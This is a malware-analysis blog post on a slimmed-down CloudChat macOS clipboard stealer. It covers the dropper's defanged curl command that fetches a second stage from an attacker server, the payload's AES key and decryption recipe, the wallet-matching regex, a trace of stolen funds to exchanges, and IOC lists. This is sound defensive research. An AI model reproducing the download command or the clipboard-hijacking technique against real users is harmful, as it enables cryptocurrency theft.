Skip to main content
CloudChat Cashes Out: Who Needs a C2 Anyways

CloudChat Cashes Out: Who Needs a C2 Anyways

macOS Infostealers Malware RE CTI YARA Binary Ninja

Summary
#

In April 2024, Kandji released a report detailing the functionality of a new macOS stealer called CloudChat. It featured several stages, and was primarily focused on stealing cryptocurrency.

This post examines an additional variant that has a significantly reduced feature set. So much so that it that almost makes it not a stealer anymore. The malware no longer exports files using a C2, Telegram bot, or FTP, and instead solely relies on replacing wallet addresses in the users clipboard.

In addition to looking at the new sample, I also quickly look at some of the activity in several of the attacker controlled TRON wallets. It can be observed that the attacker is likely using OKX and Binance exchanges to cash out funds stolen using CloudChat.

The structure of the malware is the same as before:

diagram-attack.png
Fig 1: Diagram of infection chain

Dropper Analysis: libCloudchat.dylib
#

As was the case in the previous CloudChat sample, most of the malicious functionality is found in a dylib. The primary change with this version is that the second stage downloaded by the malicious dylib is compressed and encrypted.

First the dylib checks if the second stage is already running by calling isProcessRunning(), which is just a wrapper for ps -ef. If it finds the name .apple.finder in that output it will just return and do nothing.

isProcRunning, err = _main.isProcessRunning(arg1)
if (isProcRunning.b == 0) {
    ...
}

Next, it’ll query ip-api.com by running curl http://ip-api.com and check if China is in the response. If this is the case it will also return and do nothing. Once all of these checks are complete, it will proceed with downloading and running the next stage, which is a macho containing the actual stealer(?) code.

To actually download the second stage it runs:

curl http[:]//104.156.239[.]74/api/products

saving the output to .apple.finder or .Safari_V8_config depending on the sample. This is where the primary difference between this version and the previous sample comes in as it calls decryptAndDecompressFile() before executeFileInBackground().

The AES key is stored in a global variable _main.key, with a value of b9rFGCQHMoYycDRs2fwOvnpi5StI70Eq. The payload is first decompressed using gzip, the first 16 bytes are pulled out as the IV (initialization vector). Then AES CFB is used to decrypt the actual malicious dylib.

Will all of this in mind, we can use a simple CyberChef recipe to replicate that routine.

cyberchef.png
Fig 2: CyberChef recipe for extracting the encrypted payload

A quick explanation of what this is doing:

  1. Decompress using gunzip
  2. Convert the file to hex, just for ease of extracting the IV
  3. Extract the first 16 bytes (IV) and store in register R0
  4. Drop the the first 16 bytes from the start of the decompressed blob
  5. Decrypt the content using the key and the IV stored in R0

In the output window, you can see the section names for a macho written in Go - alternatively you can use Detect File Type to confirm that the output is a dylib.

Second Stage: .apple.finder
#

The binary that gets dropped by libCloudChat.dylib is what contains the actual stealer portion of the code. Compared to the version that was analyzed by Kandji it is very slimmed down, missing much of the impressive functionality. Quickly diffing the symbols from both shows how much the new binary has been slimmed:

function-diff.png
Fig 3: Diff of functionality from original sample to now

The functionality that does remain is almost identical, with just a few obvious changes (like the staging server address). Main is just a while loop, which frequently reads the contents of the clipboard, looking for BTC, ETH, or TRON wallet strings using this regular expression:

0x[a-fA-F0-9]{0,40}\\b|T[a-zA-Z0-9]{0,33}\\b|bc1[qp][a-zA-Z0-9]{0,38}\\b

If a match is found, CloudChat will replace the clipboard contents with an attacker controlled wallet string picked at random from a list embedded in the binary. Since the binary is written in Go, there is some funkiness when it comes to identifying string structures. The wallet addresses referenced by symbols like _main.ethAddresses should point to an array of string structures but by default looks like this:

wallet-addresses.png
Fig 4: Binary Ninja before defining correct structures

In Go, strings are stored in a blob, and then referenced using something like the following:

type string struct {
	str_ptr *byte // actual chars in the string
	str_len int   // how long the string is
}

To clean up our decompilation, we can define a new type that accounts for this. After defining the type, we can create an array of Go strings, which gives us much prettier output 🥰:

wallet-addresses-after.png
Fig 5: Binary Ninja after defining correct structures

To programmatically dump the wallet addresses, we can just reference the members of the structure and extract the content from the blob:

def dump_string_table(addr: int, size: int):
	head = bv.get_data_var_at(addr)
	if head.type.name == "wallet_addresses":
		table = head["array"].value
		for i in table:
			print(bv.read(i["str_ptr"], i["str_size"]).decode("utf8"))

Then to use this we can simply call the function with the addresses referenced by the constants!

wallet_symbols = ["_main.ethAddresses", "_main.tronAddresses", "_main.btcAddresses"]
for i in wallet_symbols:
	symbol_addr = bv.get_symbols_by_name(i)[0].address
	table_addr = bv.get_data_var_at(symbol_addr).value

	print(f"{i.split('.')[-1]}")
	dump_string_table(table_addr, 0x28)

Since both .apple.finder and .Safari_V8_config aren’t garbled this will extract the attacker controlled wallets from both (they’re the same but w/e). You could also just use regex but where’s the fun in that :)

That’s pretty much all there is to the binary! If I was guessing, the reason for the reduced functionality is that the attackers probably realized that there isn’t a huge need to maintain infra or exfil content when the clipboard polling approach is similarly effective and slightly more stealthy.

Crypto Investigation
#

Since we have a good number of attacker controlled wallet strings, I figured it’d be worth seeing if any of them have any activity. None of the Ethereum or Bitcoin addresses had any transfer activity, which is good! TRON though, is where stuff starts to get interesting. Of the 40 potential wallets, 8 have significant amounts of activity. Most transactions are USDT transfers, with small amounts of TRON getting moved around as well.

I’ll preface the rest of this analysis with, I generally avoid crypto like the plague, so don’t take this analysis as gospel and do your due diligence.

  • TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK
  • TDWLFcXV9RnVDTgXq8ZvawiHhPxE8Udgf7
  • TEYm6wiTW9LkoBtb1whYP8xz2mBtaARuxT
  • TZ3utnnqVLFisFeC7Uhw1Jp3xL1DAnMGfL
  • TMsbDvf8RX4zXf3Q47Ab5Zy5Y4S41f24FH
  • TYwfG4KPt6NVgGtghMeM1MshD3nKSpf5gY
  • TCXsxTnWH3CkS39w3SN9bK6CcxUr5pYyVy
  • TWEjBmmoYRypov1WPfwX28N5QEkvqMdt1U

Using tools like OKLink and TronScan we can look at the activity for these wallets. Many of them have both TRON transactions:

TRTjay-transactions.png
Fig 6: OKLink output for transactions in the TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK address

TRTjay-transfers.png
Fig 7: OKLink output for token transfers in the TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK address

Several of the wallets end up dumping their funds into just two addresses: TWF213NdW7YYYpMECzqtd4yeNFwXCf8vub and TU4PKA5fzWbdSTyBuso9ATGfTcVwd3Js4r. From there, the funds deposited into the first address were converted out per OKX. The second address, deposits into several Binance accounts, as well as sending other funds into less obvious endpoints.

crypto-flow.png
Fig 8: Flow of funds from attacker controlled wallets to exchanges

Interestingly, on some of these wallets, the attacker can be seen (presumably) buying small amounts of TRON to cover the gas fees for the USDT token transfers.

attacker-purchasing-funds.png
Fig 9: Attacker buying small amounts of TRON from OKX

The largest single example of the attacker cashing out is on the address TWF213NdW7YYYpMECzqtd4yeNFwXCf8vub where they move $1,300 of USDT to OKX’s deposit pool.

depositing-funds.png
Fig 10: Attacker moving $1,300 of USDT to OKX pool

Most of this analysis is entirely based on the accuracy of the claims made by OKLink so as with most things crypto, it’s probable but not provable.

Conclusion
#

Overall this was a weird development – rarely, if ever, do you see malware get less advanced (and that’s usually in cases where something gets leaked and skids make a mess of it). I’m definitely curious to see if future samples embrace malware minimalism or they return to the more complex version.

Note: At the time of writing, the “C2”/staging server is no longer active and I wasn’t able to identify any new servers.

As always, if anything in this post was incorrect, or you just have thoughts, please don’t hesitate to reach out @birchb0y on twitter :D!

IOCs
#

Files
#

Sample 1:

Filename SHA256
CloudChat(1).dmg 79e98c9c4ecc0d2f75b25e613a268fd9a1b22f1a0357cc46d534e24230dcd3e2
CloudChat ed3b2004a25828e2f2e7fa1527fbf8ac86f44df82c7566342c035da25f325317
libCloudchat.dylib 4144f041d54bbf36284250d747104d730ba05fcf073dada51ca22cfc27907131
Updater 7e333ceffebb1e8f2284bbb5610f196bc21681ae9defa35b9fd10b8f655a41f1
Downloaded .apple.finder 22c3161c8d72f071fb6404538439d77c471a6da0d1368ee4ebe564f7c134e801
Decrypted .apple.finder e3dab922229a16ff9ed5a8909595973c167d556516ccb3e384a7ad62cf75ba0a

Infrastructure
#

IP Usage
104[.]156[.]239[.]74 Second stage server

Wallet Addresses
#

Tron
TFX2Zhq24baHySSDzKVZMkkefeedg9AEtz
TBCF8uoTWiqzHKwYbTUMsFRxDST2Ci268S
TFNtyanZ49Cgm3RfUQbmU9eDDMLE2h6kp1
TLKXGDvJE72jTD6ZM7qAKTGY5vAqRvFyUo
TURm4MjAsDrDb6J3qawnkESeFutzgUiBG8
TGGGx7KaJfCC4qjEKuNkto9vXn81bwdaNa
TGDEkE8mH2rn3eY7jAXJ1m9SPYUxbvaRdC
TXjW3y7AVZhNdRUzXsPUBeJz9cWGvykAha
TTAjxFEPG1NcH6ePxicVetDLigM1riymjQ
TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK
THJdjPgPGqEDMzaSnGH8EDUapDzwMd56Bv
TVHuqEjGAqt9Ruiq57dfWiapHs7qdtefzD
TCb9x23zi1vof5P7R2gYkSgBGxQbXJkrpW
TSRQkqLdNJeq9A1rsFU7RLHiLHaor48M56
TDWLFcXV9RnVDTgXq8ZvawiHhPxE8Udgf7
TQsZB3t731Pfoq4EzJQq8CwZuJTSHsduFi
TNxHhjAXjx5bkFWvwLEqAdxTQUJ777oo4b
TEYm6wiTW9LkoBtb1whYP8xz2mBtaARuxT
TUU8LkUBE5vYn4vqUeqqn1VoDsHw2189jq
TSU38rL19kWXRXvZMJfgP1GrepLpbzgQ5N
TU68gQEixQCmLjUxLiw3hAPHurHYaemesf
TByfgkRUKpygHp5fWnNSWUPVQasi5XvkoP
TKGRdTfQe1s9CpS66TVbRgXst3TgbyUK5Z
TGizLBioZ2S1CWzneyozM6ET53RU3paoSo
TZ3utnnqVLFisFeC7Uhw1Jp3xL1DAnMGfL
TGpZ9TBQJDBh4Aa5PV94BQD69DNmqGb9gp
TEygjK3E2kyo8yfw338BhTg9vVwKMZMBHk
TYSv7ckv4NMMvk6RnFNuQ5TN957JkbuL8b
TPThLA94qNRVkWr3iEiE95mRwTDaeKviB1
TMsbDvf8RX4zXf3Q47Ab5Zy5Y4S41f24FH
TZAPWWuBvjtReKxQgnNf7arF7gy6PMtZ5X
TKA3YYP6q1RKCzvo5PwrADCbLH5WVSM2uS
TLCRceydJvcLgLKtmbfsHfDNvMQrcAoYe1
TYwfG4KPt6NVgGtghMeM1MshD3nKSpf5gY
TGkkiK3DCLw8P2mucCSwUidXhK4tuR9wgD
TCXsxTnWH3CkS39w3SN9bK6CcxUr5pYyVy
TRpvSLFTo6FbCaNcQhTYgncQECe4YTgAh4
TFrndRw8MCFQCMGgzhGHFx2jEbQooAv1a5
TWJLk8uAL41ThP2H4Vtgqt5TFvzKLJ2AK7
TWEjBmmoYRypov1WPfwX28N5QEkvqMdt1U
Bitcoin
bc1q33mhlmxhw7yt6tytjzy69jpeetjdrcaa9rfvz6
bc1qvl3qhgnz2lkkt5pagtmseda5lf2j9wvtdfs5lr
bc1q5yz4yea3wz4njut62xmd25askm7944kag38adw
bc1qfycyfyg3jvqrrcgz05hcyj0qq9ljm9qus7kxmt
bc1qw4cdqzm09d9jel0dxn6effhy5vzdjafartprxg
bc1qedxap7dxahf2jnrkpn37cnfqxnj8jqlc0c0zxc
bc1qvrkz9c6y3tklv9fq89qakgaz0c48xxy2u2gdqw
bc1qmpwpp5xn95kl4pcpys7yh6jcvuvkukfgslekcd
bc1q66kru3lt52kfxza296wulgjxhw48cplhj5l67s
bc1q4lqk467etckx495lh5rcdpfnnwhwsc07gqjuqk
bc1q9pds4006q9kdy80g4z95kchsmuc0qklyx7jqf6
bc1qnr7lm3lvm5hxzfy6wymtx3ucjwlm5cv3p5zunt
bc1qc8td9gtqzygu954g597c52pasmctpp5fwgr97m
bc1qeyh0r6d8ykc30df836zvleqsv3wux756w9y4z2
bc1qrdsdj5r23d4jkg6pddmp42utjv4sxxalwakwze
bc1qn6rh40uf5aw0z4t5nz4dk44tjm6n8yzhpns7fq
bc1qhgymf3phyajthf7mefx9nvyp2cghugcjyw8ce9
bc1qxj53gpzsgv47qljyte0feqk8ptlk3q3aq8wuxf
bc1qyvs9kpp3afay0kj7ewaya9d6p74eyu4axsnxjn
bc1qmy267y0yqfv73qqp3fqzm7apphnwhld43d93r5
bc1qhgs6kjlkmjne4s3lv8jr0x2sknd7a2wh0h0awy
bc1qtftyw4q5de40r0evpl25z2vqa25txa6t7eeamr
bc1qv6zzj5wg7dxxsyafnhgrrznsusfyavdcftcale
bc1q77raccy899k2hr0t37y7tvvl4yc67v3p0ejvwc
bc1ql8esaw3s6270anhh4a4rjutc4e6edmjv2vrvfz
bc1q8a42qpnj699dg83ymz4ejhxuz3fzl3lqx325py
bc1qmm8e9xealw2dthhunylqcdrhj2gt2mvaa4v6vv
bc1qdr8rr6l5usxspgx3p3tmnn9szcxp5p4s35yha8
bc1q2pmk3x37shpxy3zj376ty520a6et9yxpj2r6r8
bc1q6lpwdtjzehphsyy9hvk7mshfep6qldr86jdequ
bc1q29kqdjfzse65l4vxtpr0zdmnqz3tknufm6hs2n
bc1q42vdfnuna4x3agmzquhkwq2nh4z9v4x5kr2esy
bc1qwwc6mzu3wv82zd3efc8rcjsw8dgn2dneqdhvqh
bc1q32dfhrpd6tzzavn7rejtzfdf54mxata0tf8u0v
bc1qllvnsvfte3rxa86ezz582zz3gfa2rkaucvk337
bc1qwcc7gchnrhu92yqejwh3ap6ax84mj7kczkvasu
bc1qkv0tn4k63s2qz3vuj02g382x94almrksweeugm
bc1q7x30qel558gmcx5tn304qeuhay4put4vgtpe9k
bc1qlx45cf4l9rdypadl76esfs73ekc2jvceyz8vu6
bc1qzgh0tqgrl7kp6u0tapxs9a98g0pcz54grqhgw5
Ethereum
0x257bA4d18Ebf1Ad8E54da79E4ea42fb9BBFf1D99
0x0c9E64980f031fc221eD68906677Dbe88ba8583e
0x0f1517708A01f20d95eF19CF3504fE634b26F0D7
0xc361c7a9af972d3b488e8F5DEf750F8835AE44cE
0xe6Ae6AEe52446ac79b14Df23F0eD84A534480127
0xCf12EE986ef0a2721d52634A1DafDFd911f4320a
0x11b0F8c8b2cAAdB82294d0cb89aa6cA5a80F4611
0xd089d76Dc63150108678e42e9FbCF83166cF70B4
0x6478ce1Beff15a6FaB0247F1cF3F1F8D152E8e4a
0xa1a442a602813E0E6193fCD56447ffe5E28ebAf6
0xB750Ed87db187deE5E53d16fc3CC92A5Bad16e33
0x93e9fC94F72efE413BEFF1F2F0e35580c03c93f8
0x4B0b873767e9f39918b33e70ee37374c744CCC75
0x0608625a3A897Cd4Dd79718571509A64ba8c4894
0x207D6Ea7460258C6C1B7177AF3F4f73270D461e2
0xc61b3cc1e3Ad39dBE89035f6059823a64Ad61666
0x94171e588ffF78fb982d2aB0E15973B201e66439
0xa3d77B6C03898a193D166A71b6430E1C7b55D12c
0xfC28611A05D1bE1ae61037c1dB4042f9C83B5C3A
0xB8e19AC4bd44409644a3Afe77b4A6568EA7a62BF
0x2BabBF079994E465785288639a6A67F16F6153ef
0x1E5102D9f0E528533F496B8137a23A14E094654E
0x4b1Fc0ccBc9df0C4eb37d009dFad8a357edf601A
0x068210AB7A3C919ea9B93C8e86aE3273d6Ca323c
0x3F4f7DC323FD349462582899a6d4aD962b4baD7b
0x2b7857A5239CF1C3C64004e602241cf35a66D452
0xffFaA210C6611b90D1d65C97e5d143279D4C6a34
0x6Afab26aE9C7cA7c2FAe7009eCC87d9c0DF2F3A7
0x8da4e7a774e3Adf868Feb13aa6E88B7DE7706086
0x9F410fc7592515381Cf2ef069F7aAfafc87AB088
0x2F29093c569212421c1DfFE53a3a3bd5e1235aeA
0xe23F2196C2395F8EfC5bd11Ef93Cb824E44dFc2a
0x676705b9854FeDB3Ff5ADef13cF529565e096945
0x06c337806185A94D0Ac4464Add53e8CE0F4951b8
0xcBC173793A636689115a631D01B003A3Ee7C022c
0xAE8534B71443778a43A00966EEB8fB0B152D3436
0xEd1cfb70d5686F9e0d7F5b6ef2f893CfF4b1EeC2
0x512ac1aD024c2BED431Ca4BA62124A31D3F22D5D
0x36b0483F2bFC70cf3c9dF91757e1C8acbebeF034
0x9dc47B2d9922aBc8927461AAfEc3c8912c0292Fd